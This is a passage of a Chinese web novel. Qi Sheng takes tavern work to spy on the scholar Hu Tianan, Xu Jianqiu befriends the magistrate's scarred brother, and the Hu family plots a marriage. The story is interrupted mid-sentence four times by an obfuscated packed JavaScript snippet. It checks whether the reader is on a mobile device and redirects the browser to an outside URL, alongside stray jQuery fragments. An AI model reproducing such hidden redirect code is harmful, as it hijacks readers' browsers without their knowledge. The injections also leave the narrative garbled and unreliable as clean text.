知道自己听了个假瓜,还被当事人拆穿,张二既尴尬不已,挠了挠脸:“都…都是旁人瞎传,我就说许老板向来忠厚,怎么可能会打救命恩人。” “无妨,想必张哥当日并未上县衙看热闹,不明就里也在情理之中。”祁胜表示理解,又说道,“接下来半个月我要在酒楼工作,还希望张哥多多照拂。” 张二连忙道:“照拂说不上,但这酒楼里的门道我都通透,你有什么不懂的只管来问我。” 此话正和祁胜的意,他又和张二闲聊几句,随后周转到正题:“张哥,咱们来财酒楼是镇上最好的,好多有能耐的人请客吃饭都会选在这里,我想问问,胡二少爷是否也会来这里吃饭?” 以为他是怕见面尴尬,张二道:“胡二少爷经常来,今儿好像也要来,但你放心,他一向在楼上包间,从不在一楼吃饭。” “这样啊。”祁胜又问,“那楼上包间是由谁负责,他们负责包间的,是不是工钱比我们高。” 张二说:“楼上是王大等人负责,工钱都是一样的,不过包间的客人比较有钱,有时候会给打赏。” 按照酒楼的规矩,打赏是酒楼和伙计三七分,伙计七。 祁胜记在心里,继续打扫。 打扫完毕后,开了大门,张二仍留在大堂等客,祁胜则去后院和其他人一同备菜。 他问了其他人,得知王大是谁,便等备菜差不多后,找机会把王大叫到没人的地方。 “王哥。”祁胜客客气气喊人,“我想跟您说个事儿。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405050|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事?”王大问。 祁胜道:“我是新来的,以前只在码头搬货,没干过这一行,记不住那么多张桌子,怕上菜弄混,所以我想跟您换个活儿,能不能您去大堂,我管包间。” 不等王大皱眉头,祁胜又说:“您放心,若得了打赏,我一分不要全部归您,除此之外,我再给您二十文辛苦费。” 二十文听起来少,实际王大一天的工钱才二十文。 ——祁胜是临时工,工钱高些,一天二十五文,都是管两顿饭。 “您就帮帮忙吧,我实在是怕招呼不来挨骂。”祁胜皱着眉头,语气真诚地恳求。 王大本就好说话,再想到自己刚入行时确实没少被训,便答应下来:“行,我就跟你换一天。” “多谢王哥。”祁胜松了口气,连连感谢。 王大见状,更断定他就是没什么社会经验,完全没有多想。 — 辰时过半,客人陆续多了起来。 楼上一共四个包间,都预定出去了,祁胜负责一号房。 没有客人时,他便遵照管事的吩咐,在楼梯处候着。 候了没多久,他听见了胡天楠的声音。 “令堂也是关心你,才会催促你成亲。” 另一道男声:“她若真关心我,就不该叫我娶一个没见过面的姑娘。” “想见面还不简单,杨兄你偷偷去未婚妻家里瞧一眼不就是了。”紫衣男子出着馊主意。 “杨兄”道:“我没有未婚妻,也不想有,我活得好好的,自由快活,干嘛要找个麻烦。” “杨兄洒脱,心境超凡脱俗,不像胡兄,上赶着找麻烦,只怕麻烦还看不上他。” 此话一出,一行人都哄笑起来,胡天楠面色青一阵白一阵,心里将这群人咒骂了个遍,表面还得陪笑:“几位,我们先上楼吧,站在这里堵住旁人了。” 闻言,祁胜适时现身,好似完全不认识胡天楠一般,弯腰热情洋溢地招呼:“几位公子可是一号包间的?快请上楼吧。” “杨兄”率先迈步上台阶,顺势扫了祁胜一眼,眼神一顿:“你这小二我还没见过,新来的?” “是,小的头一天上工。”祁胜回道。 杨斌点了点头,继续往上走。 走在最末的胡天楠脸色却变了变。 他倒不是怕祁胜,一个无权无势的穷鬼有什么好怕的,只不过祁胜叫他想起了许见秋。 许见秋在他心里是个守礼又漂亮的哥儿,性子也温柔,是极适合当夫郎的。 他当年主动说亲,是真的想要娶对方当夫郎,奈何世事无常,他如今已是廪生,许家却没什么进展,门第差距太大,他若想再进一步,就只能放弃许见秋。 不过说到底是他对不起许见秋,愧疚常常萦绕着他,甚至那天上县衙,他也没有好意思露面。 他原想着等风头过去了,他再去见许见秋,若对方愿意,他可以不计较对方跟过旁的男人,将人纳为妾室。 给他当妾名头上不好听,但至少能够吃饱穿暖,比跟着乡下汉子好多了。 14. 留门 胡天楠心里想了一通,再看祁胜就更不顺眼了。 他两年时间丁点肉都没吃到,眼下却便宜了这穷汉子。 心里恨得牙痒痒,面上却一点不能表露出来,免得被同窗刨根究底退亲一事,万一再被这穷汉子说出什么不该说的,那就更完蛋了。 一行七人点了十几道菜,两壶酒,祁胜上完菜就在一旁伺候,倒酒递帕子,时不时顺着他们的话附和两句。 这一帮人都是年轻书生,讨论的话题离不开书院和儿女情长。 谈完成绩,紫衣男子又提到了胡天楠的“麻烦”,众人又是一阵哄笑。 原来,胡天楠昨日在书院见到了新县令的弟弟,对其大献殷勤,称赞对方“淑仪良雅”,又卖弄文采念了好几首诗,却只得到了冷冷淡淡的一句“记性不错”。 笑完,蓝衣男子讥讽道:“那哥儿长的丑,眼界却高,连一表人才的胡兄都看不上,恐怕这辈子都嫁不出去了。” 杨斌蹙眉:“周旭,嘴上积德。” 周旭嗤道:“我又没说错,那哥儿脸上那么大一块疤,骇人极了,当时你不也吃了一惊。” 紫衣男子眼珠转了转,笑道:“吃惊又不代表害怕,像是胡兄,他昨日就被惊艳到了,胡兄,对不对?” 话题再度被转移到胡天楠身上,胡天楠呵笑一声:“昨日的事已经过去了,还是谈论文章吧,夫子布置的课业你们可都完成了?” 谈到课业,众人又长吁短叹起来。 祁胜伺候他们用完一顿午饭,基本明白了情况。 这一行人,都是县城明湖书院的学生,家中富贵,且皆已考取秀才功名。 他们表面和谐,实则都有各自的小心思。 胡家是柳林镇的首富,但放在县城中就没那么显眼,更何况胡天楠还是个庶子,因此在这群人当中没什么地位,常常被调侃。 最有地位的是杨斌,年龄最小又是本届案首,最有希望中举入仕。 他们今日齐聚来财酒楼,是为了商议十日后的诗会一事。 朝廷在选取人才时,不只是看文章,还会看名气。若甲乙二人文章不分伯仲,名气高的那人,排名便会靠前。 诗会齐聚各方人物,是学子扬名的重要途径。 若要一名学子声誉尽毁,最好也在诗会。 * 许见秋房里点着灯,看似在记账,实则注意力全在外头。 天色已然黑透,可祁胜还没有回来,他免不了担心。 洗干净毛笔,合上账本,许见秋决定去门外等着。 若再过一刻钟,祁胜还不回来,那他就叫大哥去找人。 才这样想完,他还没有走到大门口,就听见了敲门声,紧接着院内的大黄狗汪叫起来。 许见秋眸色一亮,快步走到门口,又谨慎地退了一步,问道:“谁?” “秋哥儿,是我。” 听出祁胜的声音,许见秋连忙打开门,待看清对方,小声关心道:“酒楼收工这么晚吗。” 油灯费钱,也容易出事故,像是许家食馆,天黑之前就会关门,让伙计们各自回家。 “收工不晚,只不过我去了一趟破庙。”祁胜说话声音更小,只有他们两人能听见。 破庙人迹罕至,只有乞丐和没钱住宿的赶路人会在夜晚住进去。 许见秋想到什么,眸色微闪:“你是想……” “想什么呢,我只是请了两个人帮我探探地形罢了。”祁胜笑着说完,捻了捻手指。 他想抱许见秋,但干了一天活,出了一身汗,还去过破庙,怕沾染上脏东西。 “有水吗。” “有。”许见秋早就准备了,“在炉子上温着,水缸里也有足够的凉水,你快去洗澡吧。” 说罢,他把灯笼递给了祁胜,转身将大门锁好。 屋里赵雪梅问是不是哥婿回来了,许见秋应了声。 大黄狗认出人,已不再吠叫,两人一同往屋里走。 一个回房间,另一个拿干净衣裳好洗澡。 进了屋,许见秋心思微转,吹灭油灯,脱鞋躺上床。 几分困意卷来,他掐了掐手心,不叫自己睡着。 等了不知多久,他终于听见院子里声音停了。 又过了一小会儿,他的房门被人推开,又被关上,插上门闩。 熟悉的脚步声靠近,人影在旁边躺下,随后翻身抱住了他:“给我留的门?” “忘记插门闩了而已。”许见秋小声回复。 “你怎么也学会嘴硬了。”祁胜低笑几声,心情无比愉悦。 许见秋也侧身躺着,面对祁胜:“你刚刚说找人帮你探地形,你要探哪里的地形,想做什么?” “你给我留门,就为了问这个?”祁胜故作不满,松开手,“我还以为是想跟我亲近呢。” 黑暗中看不见神情,许见秋以为他真的失落,连忙道:“也想跟你亲近。” 得了一句好话,祁胜唇角扬起,重新将人搂住:“我今日在酒楼听几名书生说,新县令将要在十日后举办诗会,地点是扶风山,全县的秀才举人都可报名参加。” 祁胜隐去了遇见胡天楠一事,继续道:“我想着胡天楠多半也会去,所以找人探探地形,到时候咱们埋伏他一手。” “你……” 似是知道哥儿心里想的什么,祁胜截断话头道:“放心,危险的事我不会去做,到时候我给赵春儿递个消息,让他去。” “能成么。”许见秋不太自信。 “成不成是赵春儿的事,反正银子咱们不可能还给他。” 此话一出,氛围轻松不少,许见秋忍不住低笑出声。 他抬起手臂,犹豫几息,还是没敢放在汉子身上。 哥儿不能在这方面主动,他所接受的教化都是这样。 祁胜只觉得许见秋手抬了一下,看不见动作,不过他能闻到哥儿身上干净的味道,不由得心思浮动。 “许见秋。”男子声音低哑,收紧手臂,“我想亲你。” 耳根蓦地烧起来,许见秋还没有来得及回答,就感觉到男子手往上寻,摸到他的脸后,他被亲了一下。 黑暗中没找准,亲到的地方是嘴角。 可这对于许见秋而言已经足够刺激,他心脏跳动得厉害,一时担心祁胜会听见他的心跳声,一时又担心被爹娘听见声音。 其实这些都属于多想,他们两人并没有弄出多大动静,祁胜自己的心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405051|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声也足够大,哪里会听见别人的。 僵了好一会儿,许见秋才重新活过来似的,结结巴巴道:“已经……亲过了,你回去吧。” “我这样回去?”祁胜嗓音比方才还要低哑。 许见秋咬住下唇,不敢说话了。 祁胜比较天赋异禀,他有一点怕,最主要的是,怕被家里人听见。 耳边响起一声郁闷的叹息,祁胜亲了下他的脸,一只手臂垫在他脑袋下面,让他枕着肩膀,将人整个揽进怀里:“给我抱一会儿,平静了就走。” 考虑到时辰,又说:“你若困了就睡,我保证不会做什么的。” 被这么抱着,贴着锅炉似的,怎么可能睡得着? 许见秋心里这般想着,嘴上却什么都没说,安静得仿佛已然酣睡。 祁胜也没有再说话。 以往这个时辰许见秋早睡着了,今日多了个热源,可挡不住习惯使然,过了没多久,他就睡着了。 睡着后身体自然放松下来,祁胜很快便意识到,心中更加郁闷。 还真的说睡就睡,留他一个人难受。 许见秋对他难道就没有那方面想法?压根不喜欢他?哥儿都是这样?还是因为年龄小? 想不出答案,祁胜又在心里叹气许久,直至完全冷静,才抽出手臂。 — 许见秋醒来已是天大亮,祁胜早走了。 他去无穷村后,爹娘又招了一名伙计,且食馆临近晌午才会忙碌。若食客不多,他就不需要去帮忙,因此即使他起得晚,也不会有人催他。 不过这会儿并不算晚,只是他平日里起床较早罢了。 想到昨夜的事,许见秋有些脸红,洗了脸才好一些。 吃了早饭,许见秋拿上钱袋,装了二两银子几十个铜板,打算去买些布。 他的衣裳够穿,可祁胜就那么几件,鞋更少,趁着在家清闲,得再做两套才行。 他见院子里的许成州半天写不出一个字,便问对方去不去。 许成州忙说去。 秋收期间,私塾放授衣假,夫子布置了背诵抄写、两篇策论和五首七言绝句。 背诵抄写简单,勤奋即可,策论和写诗就难了,尤其写诗,他压根就不会。夫子教过,但说的云里雾里,他没听懂,因此他才一个字也写不出来。 他跟二哥说了自己的烦心事。 许见秋就念过两年书,能写字据看文章,但诗词歌赋就不行了。 “我也不会写诗,或许大哥会?” “他不会,我早就问过他了。”许成州愁得抓了把头发,“我还是改日问问同窗吧。” 许见秋见他眉毛拧成一条,模样可乐,失笑道:“授衣假拢共一个月,这才放了几天,你还有足够的时间学习,实在不行就多背诗,兴许背多了就会了。” “背诗太难了。”许成州叹气。 街上人来人往,商贩众多,许成州毕竟年龄小,为课业烦心只是一时的,很快便被其它事物吸走了注意力。 许见秋却还想着这件事。 写诗……诗会…… “成州,十日后扶风山举办诗会,咱们去看看吧,看看旁人是怎么作诗的,兴许能给你一些灵感。” 15. 巧遇 他是这样说,其实存了私心,想看看胡天楠在那一天会不会声名尽毁。 许成州还没有参加过诗会,也没有去扶风山玩过,闻言很有兴趣:“好,等回去我就跟爹娘说,想必他们会同意。” 兄弟二人边说边走,很快就来到了正阳街的布庄。 铺子里人不算多,伙计见有新客,立即迎上前,热情询问他们想要什么布。 许见秋道:“我们自己看看,看好了再问你。” 客人大都这样,乐意自己看,伙计闻言便识趣地退至一旁:“您尽管看,我们这儿的料子是柳林镇最全的,什么都有。” 柳林镇总共就三家布庄,除了这里,另两处都是属于胡家的。 ——胡家共三处布庄,在邻镇还有一处。 前两年因为婚约关系,许见秋常在胡记布庄买料子,对这边不是很熟悉,便多看了一会儿。 这家布庄料子确实齐全,下至粗麻布,上到绸缎都有,颜色花样也多,还有做好的成衣。 许见秋不打算买成衣,不过瞅见样式好看的,还是会多看几眼。 他看见一件月白衫,袖口的花纹很独特漂亮,便近前观察。 “这件衣裳我要了。”一道女声从身后传来。 许见秋听着耳熟,转头一看,竟是胡姨娘。 胡姨娘穿着与平常别无二致,脸上的妆却很浓,似乎胖了点。 她不去胡记布庄,来这里做什么? 胡姨娘也没想到是他,下意识皱眉,没好气道:“你怎么还在镇上。” 当初胡天楠定下许见秋,她心里就不满意,觉得许见秋配不上自己儿子,然而儿子铁了心,上头还有夫人压着,她只能接受。 前段时间,好容易退亲了,许见秋嫁去穷村,自己儿子终于能找个门当户对的千金小姐,她心里可是畅快了一阵。 可没想到,这么快又见到这个小狐狸精。 明明嫁去了穷村,居然还能回镇上,指不定是勾搭了哪个汉子。 早上才被夫人处罚,脸还肿着,她心里一兜子气,此刻全都冲着许见秋发泄,恶声恶语道:“乡下人看什么好料子,你买得起吗。” “我们买不买跟你有什么关系,疯婆子乱咬人?”许成州立即维护兄长。 见他们要吵起来,走过来的老板娘和声周旋道:“这位夫人,我们店里的东西挂出来就是给客人看的,若只有买了才能看,那岂不是成强买强卖了。” 胡姨娘尖声道:“挂出来是给想买的人看的,他光看不买,就是没资格看。” 她的声音吸引得顾客伙计都看过来,老板娘沉下脸,表明态度:“夫人,您要买就买,不买就走,大可不必出言辱人。” “谁都能看的东西,你就算白送我也不要了。”见老板娘不站在她这边,胡姨娘气得跺脚大骂,“一群晦气东西,难怪铺子小上不得台面。” 她边说边往外走,却由于没注意看路,走到门口,正好撞到人。 抬头一看是个哥儿,立时来气:“长的丑眼睛也瞎,看不见我要出去?” 徐景然撞到人,原本准备道歉,却听见这句扎心话,不由得蹙了蹙眉。 身后的小厮欲上前讨理,被他伸手拦住:“月哥儿,算了。” 只是过路人,没必要为此争论。 然而,胡姨娘却不想就这么算了,又开口道:“我又没说错,丑就是丑,有眼睛的都能看见,我说句实话,你们还想打我不成?” 许见秋看向被胡姨娘说丑的那名哥儿,只见对方一袭青色薄衫,身材高挑,鼻挺唇红,俨然是很好的外形条件。 然而,对方右脸有很大的一块烫伤疤痕,从眼角蜿蜒至下颌骨,看着极其骇人。 因为胡姨娘的闹事,突然一群路人围过来,被店内店外那么多人盯着,青衣哥儿明显不适,攥紧了衣袖。 月哥儿撸起袖子,怒道:“疯女人,你再敢说一句,我现在就揍你。” “我就说……” 许见秋走到门口,扬声道:“胡姨娘,你故意在这里闹事,是想为胡记布庄招揽生意?” “胡记?”老板娘问,“她是胡记布庄的人?” 许见秋点头:“对,她是胡记布庄老板的妾室。” 胡姨娘作为妾室,鲜少有出门的机会,更少来这边,因此才没人认识。 此刻知道身份,老板娘便判定她是来闹事的,不客气地叫伙计将人赶走,随后宣布在店顾客皆可获赠手帕两条。 店内一片叫好,夸老板娘大气。 看热闹的自然散开,徐景然走到许见秋面前,颔首道:“多谢小哥出言相助。” 许见秋忙说不用谢。 徐景然笑了笑,有意结交朋友,自我介绍道:“我叫徐景然,前几天才搬到柳林镇。” “我叫许见秋,从小就在这儿长大,这是我弟弟许成州。” “你姓许,我姓徐,读音相似,看来我们很有缘分。” 许见秋也这么觉得:“相逢即是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405052|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有缘。” 两人边交谈边挑选货品,许见秋买了细棉布、粗棉布、麻布各一丈,还有一捆碎布头。 细棉二百五十文,粗棉二百文,麻布五十文,布头论斤,三斤六文。 加在一起,五钱零六文钱,老板娘收了五钱整。 徐景然买了一匹绢,还有那件月白衫,二人路径不同,在门口告别分开。 * 回到家,许见秋放好东西,打算看看食馆客人多不多,结果还没有走进前厅,就被许成林撵了回来。 “大哥?”许见秋不解。 许成林解释道:“胡天楠在里面吃饭,一个人吃了半个时辰,我看他吃饭是假,来找你是真。” “他找我做什么。”许见秋蹙眉。 许成林道:“谁晓得做什么,总之不会是好事,你别出去见他。” 说罢,来了一桌客人,他又进厨房去了。 许见秋返回后院,原地站了几息,随后进小厨房熬浆糊。 他如今已是祁胜的夫郎,和胡天楠再没干系,不必去思考对方的来意,总之避开对方,若避不开,通通拒绝就是了。 浆糊熬好后,把碎布一层层糊在板子上做袼褙。 袼褙得晒好几天,晒干晒透,做出来的鞋底才能结实耐用。 把袼褙找地方晾着,许见秋洗净手,搬了张桌子出来,随后进房间拿针线篮和布匹,又喊成州,让小弟帮自己拽着布,开始画线剪裁。 早在无穷村时,他就量过祁胜的尺码了,记在本子上,不怕忘记。 准备工作全部弄完,戴上顶针,他就在院子里开始缝制,许成州在另一头抄书。 抄了几页纸,许成州觉得手累心烦,也正好食客多了起来,便去前面帮忙。 许见秋继续缝衣裳,觉得眼累就停一停,看看远处,喝喝茶。 他喝完第二杯茶时,忽然有名端菜伙计走进后院,快走到他旁边,给他递了块绢帕,低声:“胡二少给的。” 说罢,伙计左右看看,小跑着折返,生怕被发现。 许见秋被迫拿着“烫手山芋”,有些动气,想扔回胡天楠脸上,又清楚明白他是已婚哥儿,若这会儿出去,最终名声受损的只有他。 想了想,他还是将帕子展开,只见其一角绣着枝叶点缀,对角则是个小小的“楠”字,其余什么也没有。 这自然不可能是胡天楠绣的。 这就可笑了,给他一方帕子,以为他见了帕子就会立即出去? 16. 胡家 胡天楠等了又等,直到食馆坐满了,还是没有得到许见秋的回讯。 莫非是在置气? 胡天楠心想,经过退亲一事,许见秋对他有些怨言也是情有可原。但相信经过冷静思考,许见秋会明白与其跟着穷汉子,不如给他当妾这个道理。 明日他请人从中周旋,想必许见秋就会愿意见他了。 思及此,胡天楠结了账,起身离开。 后院中,许见秋已经将绢帕烧成灰了。 这东西他还回去麻烦,不还又会惹人话柄,只有烧了才算干净。 烧完再次洗手,许见秋才继续缝衣裳。 * 下午,胡家。 胡姨娘刚从侧门进去,还没来得及换衣裳,就被丫鬟告知,老爷找她。 她心里顿时不安。 她虽比夫人年轻十几岁,单看脸也没有到色衰的地步,可事实上,自打她生过孩子,老爷就极少宠幸她了,平常没事更不会找她。 快速换了身干净衣裳,胡姨娘去了主院,迈入堂屋,看见老爷夫人和大少爷都在,独独自己儿子不在,心里更慌。 “老爷,夫人。”她小心行礼。 “张兰,你今日出门,可有遇见什么人?”夫人出言发问。 胡姨娘连忙摇头:“没有,我什么人都没遇见。” “你没去别人铺子里闹事?”胡老爷脸色黑沉,“我今日脸都被你丢尽了,你知不知道!” 今日晌午,胡老爷约了其他掌柜在酒楼聚会,席间其他人提起胡姨娘大闹布庄的事,虽没有太过明显的嘲笑,可还是让他心里憋了一肚子火。 “老爷明鉴!”胡姨娘膝盖一软跪下去,眼泪簌簌流下,哽咽道,“妾身这些年来一直待在后院,几乎没有外出的机会,今日好容易夫人允妾身出门,妾身太过高兴,想看看如今镇上有什么时兴的布料,这才去了布庄,不想正好遇见许见秋……” “许见秋就是之前跟天楠定亲的那个哥儿,他被退亲,就对我们胡家怀恨在心,认出妾身之后,便联合那布庄老板娘欺辱妾身,妾身是不得已才反抗。” 她边说边哭,仿佛受了天大的委屈,胡老爷看她哭得凄美,心中犹疑起来:“他们是怎么欺负你的?” “他们说妾室是胡家人,说胡家没有一个好东西,说完就拿棍子赶人。” “当真?” “妾身在老爷夫人面前,不敢有一句假话。” 胡夫人冷哼一声:“说的好听,又没个证人,谁知道你说的是真是假。” 胡姨娘用手帕轻轻抹着眼泪,低头不敢言语。 她身材苗条,脸保养得好,没有比年轻时差太多,胡老爷看她柔弱可怜的模样,色字上头,怒气消了一些,向旁边劝道:“夫人别生气,是真是假一查便知,你先别罚她,不然等楠儿回来,又要误会你。” “你现在心里只有你的好楠儿,我们母子不重要,不如早些把我们分出去算了。”胡夫人阴阳怪气。 “夫人莫要这样讲,楠儿是我儿子,也是你儿子,日后他若有幸中举,自然也要孝敬你这个母亲,你何必与他过不去。” “老爷说的是,你先下去吧。”胡夫人挥手。 胡姨娘连忙应声,退下了。 等她走后,一直没开口的胡天鹤才道:“爹,娘,关于兰姨娘这件事,我听说了一些风言风语,不知是否真实。” “你听说了什么?”胡老爷问。 胡天鹤道:“我听同窗说,似乎新任县令大人的亲弟弟也在布庄门口,且与兰姨娘有些冲突。” 胡老爷脸色微变:“当真?” 被其他掌柜调侃几句不当什么,可若是惹到了县令,那就完了。 “孩子并未亲眼所见,无法判断真假,许是同窗看岔了,不过县令大人的弟弟容貌特殊,想来不会看错。” 胡老爷脸色更难看。 胡天鹤察言观色道:“爹不必担心,若事实真如姨娘所说,她必然不会冲撞贵人,咱们家不会有事。若真不幸冲撞了贵人,那就让姨娘道歉,再请天楠说和,看在天楠的面子上,想必贵人不会追究。” “你弟弟此次虽名次不错,可说到底只是个秀才,哪有那么大的面子。” “爹还不知道吗。”胡天鹤故作惊奇,随即摇头笑道,“天楠可真沉得住气,若是我,早就忍不住报喜了。” 这番话叫胡老爷云里雾里,不由得追问。 胡天鹤道:“是这样的,前几日县令大人和他弟弟前往书院视察,天楠作为廪生,被单独叫去见面,据说他是那帮廪生中,唯一一个与县令的亲弟弟说上话的,据说对方还夸赞了天楠,对天楠很是欣赏。” 又补充说:“县令的弟弟是名未出阁的哥儿,与天楠年龄相仿。” 话说到这个地步,胡老爷就是想不明白都难。 他心里大喜,又强作冷静:“鹤儿,只是说过几句话,恐怕这并不能代表什么。” “父亲您有所不知,那哥儿面部有瑕,容貌不尽如人意,其他人均面露不适,唯有天楠不仅视如常人,还与他交流文采,夸其有才华气质佳。” “天楠先递了意,那哥儿才回应,这一来一往,可不就是有戏。” “我看未必。”胡夫人站起来,明显不悦,“我乏了,你们聊吧。” 说罢,她进了内堂。 “母亲真是……”胡天鹤摇了摇头,又叹了口气,道,“爹,您是明白人,别在意母亲,她妇道人家根本不懂,日后我和天楠必须相互扶持,如此我们胡家才能蒸蒸日上,天楠好了,自然我也能好。” 这话胡老爷爱听,夸赞了一番大儿子懂事,又问起县令家哥儿的事。 …… 傍晚,胡天楠前脚踏进胡家大门,后脚就被带到了父亲面前。 “楠儿。”胡老爷笑眯眯道,“累不累,先坐下吧。” 胡天楠坐下道:“爹,您找我何事?” 下午胡老爷已经得到确切的消息,是胡姨娘闹事,且真的惹到了县令大人的亲弟弟。 这会儿,他便把情况告知胡天楠,然后道:“我们家就你和徐公子有些交情,明日一早,你领着你姨娘去给徐公子道歉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405053|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 胡天楠心里咒骂自己亲娘,面上为难道:“爹,我同徐公子并无交情,我又是庶子,若是只有我和姨娘上门道歉,恐怕……” “怕什么,你哥都跟我说过了,你在书院同徐公子说上话,徐公子对你很是欣赏,还夸过你。”胡老爷拍了拍二儿子的肩膀,“若是你能与县令弟弟成婚,有了官家做靠山,胡家日后的产业便全是你的。” 闻言,胡天楠装出一副喜悦模样:“爹,当真如此吗,大哥难道不会有意见?” “我的产业,我想给谁就给谁,他凭什么有意见。” “好。”胡天楠咬了咬牙,“有爹这句话,孩儿尽力一试。” 虽然这糟老头子明显在哄骗他,但若真能娶到徐景然,他以后还用愁前途吗? * 晚上,祁胜洗完澡,把脏衣裳洗了晾上,仍旧是先进了许见秋的房间。 两人坐在床边,他握住夫郎的手,捏了捏手心。 “你总是捏我的手。”许见秋发现了。 祁胜揉了揉手指:“你的手软,握着舒服。” 许见秋并不觉得自己的手软,他觉得是祁胜的手太硬,不过他并没有说出来,而是先讲了绢帕的事。 说罢,他仔细观察着祁胜的神情,怕对方会生气。 祁胜确实生气:“这姓胡的太不要脸了,都退亲了还纠缠你,果然不是什么好东西。” “他不好,所以我不会跟他单独见面的,更不会和他有瓜葛。”许见秋小声保证说。 祁胜一只手将哥儿搂住,语气轻松:“有我珠玉在前,我知道你肯定看不上他。” 话锋又一转:“但我怕他伤害你,这些天你尽量别离开食馆,若要出门,一定得找人陪你一起。” “嗯。”许见秋点头,“我这几天都不走远了,只在附近活动,等你做完酒楼的活儿,我们就回无穷村。” 他隐瞒了去扶风山一事,因为他心中隐隐约约觉得,若是祁胜知道了,不会让他去。 就像祁胜始终没有告诉他,究竟要怎么样才能让胡天楠娶赵春儿。 祁胜窥不见他的内心想法,只觉得夫郎乖巧可爱,忍不住亲了一口。 许见秋怕又像前一天那样,被亲了一下就急忙拉开距离:“我还有话要跟你说。” “你说。”祁胜再度握住夫郎的手。 不让亲,拉拉手总行吧。 想到高兴的事,许见秋抿出一道笑:“我今天认识了一位朋友,他叫徐景然。” “徐景然?”祁胜觉得有些耳熟。 “嗯,我是在布庄认识他的……” 听完后,祁胜明白了,这徐景然就是新任县令的弟弟,显然许见秋还不知道这件事,只以为对方是个普通的有钱人家的公子。 “他说他是前几日才搬过来的,就住在青云巷,离我们这里挺近的,还说我没事可以去找他玩。” 祁胜道:“所以你想去他家玩?” 许见秋摇摇头:“不去,他家里那么有钱,只是一面之缘,我若真的去了,显得像是想沾光似的。” 17. 虚名 “他既然说了让你去,就是不怕你沾光。”祁胜顿了顿,“但不去也挺好,咱们就过自己的日子。” 许见秋看向男子道:“我是这样想的,这次我帮了他,他可能是客气话,若有缘分再见面,他再邀约,我便去。” “夫郎心思玲珑,甚好。” 许见秋被夸得耳根微红:“光是我在说,你在酒楼有没有发生什么事。” “没什么特殊的事,一整天都在忙,很累很累。”祁胜说着,又抱住许见秋,压着人一块儿倒在床上,木床发出声响。 许见秋被他压着半边身子,不由得面红耳赤:“你……爹娘会听见的。” “听见什么?”祁胜故作不知。 “床响……” 祁胜从没有欺负哥儿的恶劣爱好,然而此刻,看着脸蛋红扑扑,眸底闪烁着害羞忐忑的夫郎,他却想欺负欺负。 “你别动,床不就不会响了。” “是你在动。”许见秋辩驳。 祁胜道:“那我们都不动不就好了。” “你……”许见秋意识到对方在套路自己,“你欺负我。” “怎么欺负了?”祁胜故作疑惑。 许见秋捶了他一下,别过脸不说话。 祁胜低笑出声,亲了一下夫郎的脸,才从床上起来:“好了,我回去休息了,你也早点睡。” 虽然干了一天的活又脏又累,挣的钱也少,但晚上能和夫郎抱一会儿,说说话,祁胜觉得比从前的日子好多了。 他一个人住在无穷村的时候,对生活没有盼头,又不甘心死去,宛如行尸走肉一般,做什么都提不起精神。 现如今有了许见秋在身边,一切都仿佛光明了起来。 * 一连数日,胡天楠都没有再出现在食馆,也没有找人递信,原来帮忙递信的那名伙计已经被开除,许见秋按部就班过日子,十分安然。 转眼间便到了诗会这一天。 吃过早饭,许见秋回房间换了身颜色更鲜亮的绿色衣裳。 许成州穿了身蓝白交加的,许成林则是一身灰。 ——不放心他们两人上山,所以许成林也跟着一起去。 扶风山距离食馆说远不远,说近也不近。 若是赶车还要有人看顾车辆,三人便花钱坐了一段驴车,到山脚下后,再步行上山。 新任县令举办的第一场诗会,不仅才子前来,好多老百姓也来看热闹,因此上山的路熙熙攘攘。 兄弟三人走成一排,挨得很近,避免走散。 “听说这次诗会,头名能得整整一千两,还能得一块随意进出县衙的令牌,也不知道是真是假。”许见秋听见旁边的路人说话。 另一名路人道:“我也听说了,应该是真的,县城赌坊都开始下注了,赌杨案首和方举人谁能得头名。” “你压了谁?” “我压他们俩都不是头名。” “你小子……” 